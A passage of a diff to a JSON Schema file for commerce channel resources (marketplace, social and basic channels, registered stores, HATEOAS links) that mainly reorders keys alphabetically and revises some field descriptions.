"^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" - }, - "updatedAt": { - "description": "The date and time the channel was updated.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" - } - }, - "required": [ - "name" - ] - } - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/marketplace-channel.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Marketplace Channel", - "type": "object", - "description": "Resource representing the Marketplace Channel", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/basic-channel.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Basic Channel", - "type": "object", - "description": "Resource representing the Basic Channel", - "properties": { - "channelId": { - "description": "Globally unique Id of the channel that can be used to reference", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" }, "name": { - "type": "string", "description": "Name of the channel", - "maxLength": 128 - }, - "channelProviderId": { - "description": "Identifier of the channel provider (defaulted based on the caller's auth credentials)", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "externalChannelId": { - "type": "string", - "description": "External identifier of the channel", - "maxLength": 64 - }, - "subType": { - "type": "string", - "description": "Additional information that represents the type of the channel", - "maxLength": 256 - }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ChannelStatus", - "type": "string", - "description": "Channel Status", - "enum": [ - "PENDING_SETUP", - "ACTIVE", - "INACTIVE", - "ERROR", - "REMOVED" - ], - "default": "ACTIVE" + "maxLength": 128, + "type": "string" }, "registeredStores": { "description": "List of stores that are registered to this channel", "items": { "$id": "https://godaddy.com/schemas/commerce/registered-store.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStore", - "type": "object", "description": "Resource representing Store registration with Channel", "properties": { - "storeId": { - "description": "Id of the store that can be used to reference", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "status": { - "description": "Status of the registration", - "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStoreStatus", - "type": "string", - "enum": [ - "ENABLED", - "DISABLED" - ], - "default": "ENABLED" - }, "default": { - "type": "boolean", + "default": false, "description": "If this is a default channel for the store", - "default": false + "type": "boolean" }, "links": { - "description": "Links pointing to external resource", - "readOnly": true, "$id": "https://godaddy.com/schemas/commerce/link.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", + "description": "HATEOAS links", "items": { "$id": "https://godaddy.com/schema/common/link-description.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", "properties": { "href": { "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" }, "rel": { "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", "type": "string" }, - "title": { - "description": "The link title.", + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", "type": "string" }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, "targetMediaType": { "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", "type": "string" @@ -6508,237 +6787,233 @@ "targetSchema": { "description": "The schema that describes the link target." }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "title": { + "description": "The link title.", "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." } }, "required": [ "rel", "href" - ] - } - } - }, - "required": [ - "storeId" - ] - }, - "type": "array" - }, - "links": { - "description": "Links pointing to external resource", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/link.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "items": { - "$id": "https://godaddy.com/schema/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "status": { + "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "default": "ENABLED", + "description": "Registered Store Status", + "enum": [ + "ENABLED", + "DISABLED" + ], + "title": "RegisteredStoreStatus", "type": "string" }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "storeId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." } }, "required": [ - "rel", - "href" - ] - } + "storeId" + ], + "title": "RegisteredStore", + "type": "object" + }, + "type": "array" }, - "createdAt": { - "description": "The date and time the channel was created.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", + "status": { + "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" + "default": "ACTIVE", + "description": "Channel Status", + "enum": [ + "PENDING_SETUP", + "ACTIVE", + "INACTIVE", + "ERROR", + "REMOVED" + ], + "title": "ChannelStatus", + "type": "string" + }, + "subType": { + "description": "Additional information that represents the type of the channel", + "maxLength": 256, + "type": "string" }, "updatedAt": { - "description": "The date and time the channel was updated.", - "readOnly": true, "$id": "https://godaddy.com/schemas/common/date-time.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" } }, "required": [ "name" - ] + ], + "title": "Basic Channel", + "type": "object" } - ] + ], + "description": "Resource representing the Marketplace Channel", + "title": "Marketplace Channel", + "type": "object" }, { "$id": "https://godaddy.com/schemas/commerce/social-channel.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Social Channel", - "type": "object", - "description": "Resource representing the Social Channel", "allOf": [ { "$id": "https://godaddy.com/schemas/commerce/basic-channel.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Basic Channel", - "type": "object", "description": "Resource representing the Basic Channel", "properties": { "channelId": { - "description": "Globally unique Id of the channel that can be used to reference", "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", + "description": "unique identifier", + "example": "id", "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "channelProviderId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "externalChannelId": { + "description": "External identifier of the channel", + "maxLength": 64, + "type": "string" + }, + "links": { + "$id": "https://godaddy.com/schemas/commerce/link.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "HATEOAS links", + "items": { + "$id": "https://godaddy.com/schema/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" }, "name": { - "type": "string", "description": "Name of the channel", - "maxLength": 128 - }, - "channelProviderId": { - "description": "Identifier of the channel provider (defaulted based on the caller's auth credentials)", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "externalChannelId": { - "type": "string", - "description": "External identifier of the channel", - "maxLength": 64 - }, - "subType": { - "type": "string", - "description": "Additional information that represents the type of the channel", - "maxLength": 256 - }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ChannelStatus", - "type": "string", - "description": "Channel Status", - "enum": [ - "PENDING_SETUP", - "ACTIVE", - "INACTIVE", - "ERROR", - "REMOVED" - ], - "default": "ACTIVE" + "maxLength": 128, + "type": "string" }, "registeredStores": { "description": "List of stores that are registered to this channel", "items": { "$id": "https://godaddy.com/schemas/commerce/registered-store.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStore", - "type": "object", "description": "Resource representing Store registration with Channel", "properties": { - "storeId": { - "description": "Id of the store that can be used to reference", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "status": { - "description": "Status of the registration", - "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStoreStatus", - "type": "string", - "enum": [ - "ENABLED", - "DISABLED" - ], - "default": "ENABLED" - }, "default": { - "type": "boolean", + "default": false, "description": "If this is a default channel for the store", - "default": false + "type": "boolean" }, "links": { - "description": "Links pointing to external resource", - "readOnly": true, "$id": "https://godaddy.com/schemas/commerce/link.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", + "description": "HATEOAS links", "items": { "$id": "https://godaddy.com/schema/common/link-description.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", "properties": { "href": { "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" }, "rel": { "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", "type": "string" }, - "title": { - "description": "The link title.", + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", "type": "string" }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, "targetMediaType": { "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", "type": "string" @@ -6746,230 +7021,229 @@ "targetSchema": { "description": "The schema that describes the link target." }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "title": { + "description": "The link title.", "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." } }, "required": [ "rel", "href" - ] - } - } - }, - "required": [ - "storeId" - ] - }, - "type": "array" - }, - "links": { - "description": "Links pointing to external resource", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/link.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "items": { - "$id": "https://godaddy.com/schema/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "status": { + "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "default": "ENABLED", + "description": "Registered Store Status", + "enum": [ + "ENABLED", + "DISABLED" + ], + "title": "RegisteredStoreStatus", "type": "string" }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "storeId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." } }, "required": [ - "rel", - "href" - ] - } + "storeId" + ], + "title": "RegisteredStore", + "type": "object" + }, + "type": "array" }, - "createdAt": { - "description": "The date and time the channel was created.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", + "status": { + "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" + "default": "ACTIVE", + "description": "Channel Status", + "enum": [ + "PENDING_SETUP", + "ACTIVE", + "INACTIVE", + "ERROR", + "REMOVED" + ], + "title": "ChannelStatus", + "type": "string" + }, + "subType": { + "description": "Additional information that represents the type of the channel", + "maxLength": 256, + "type": "string" }, "updatedAt": { - "description": "The date and time the channel was updated.", - "readOnly": true, "$id": "https://godaddy.com/schemas/common/date-time.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" } }, "required": [ "name" - ] + ], + "title": "Basic Channel", + "type": "object" } - ] + ], + "description": "Resource representing the Social Channel", + "title": "Social Channel", + "type": "object" }, { "$id": "https://godaddy.com/schemas/commerce/basic-channel.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Basic Channel", - "type": "object", "description": "Resource representing the Basic Channel", "properties": { "channelId": { - "description": "Globally unique Id of the channel that can be used to reference", "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", + "description": "unique identifier", "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "name": { - "type": "string", - "description": "Name of the channel", - "maxLength": 128 + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" }, "channelProviderId": { - "description": "Identifier of the channel provider (defaulted based on the caller's auth credentials)", "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", + "description": "unique identifier", "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" }, "externalChannelId": { - "type": "string", "description": "External identifier of the channel", - "maxLength": 64 + "maxLength": 64, + "type": "string" }, - "subType": { - "type": "string", - "description": "Additional information that represents the type of the channel", - "maxLength": 256 + "links": { + "$id": "https://godaddy.com/schemas/commerce/link.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "HATEOAS links", + "items": { + "$id": "https://godaddy.com/schema/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ChannelStatus", - "type": "string", - "description": "Channel Status", - "enum": [ - "PENDING_SETUP", - "ACTIVE", - "INACTIVE", - "ERROR", - "REMOVED" - ], - "default": "ACTIVE" + "name": { + "description": "Name of the channel", + "maxLength": 128, + "type": "string" }, "registeredStores": { "description": "List of stores that are registered to this channel", "items": { "$id": "https://godaddy.com/schemas/commerce/registered-store.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStore", - "type": "object", "description": "Resource representing Store registration with Channel", "properties": { - "storeId": { - "description": "Id of the store that can be used to reference", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "status": { - "description": "Status of the registration", - "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStoreStatus", - "type": "string", - "enum": [ - "ENABLED", - "DISABLED" - ], - "default": "ENABLED" - }, "default": { - "type": "boolean", + "default": false, "description": "If this is a default channel for the store", - "default": false + "type": "boolean" }, "links": { - "description": "Links pointing to external resource", - "readOnly": true, "$id": "https://godaddy.com/schemas/commerce/link.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", + "description": "HATEOAS links", "items": { "$id": "https://godaddy.com/schema/common/link-description.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", "properties": { "href": { "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" }, "rel": { "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", "type": "string" }, - "title": { - "description": "The link title.", + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", "type": "string" }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, "targetMediaType": { "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", "type": "string" @@ -6977,299 +7251,390 @@ "targetSchema": { "description": "The schema that describes the link target." }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "title": { + "description": "The link title.", "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." } }, "required": [ "rel", "href" - ] - } - } - }, - "required": [ - "storeId" - ] - }, - "type": "array" - }, - "links": { - "description": "Links pointing to external resource", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/link.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "items": { - "$id": "https://godaddy.com/schema/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - 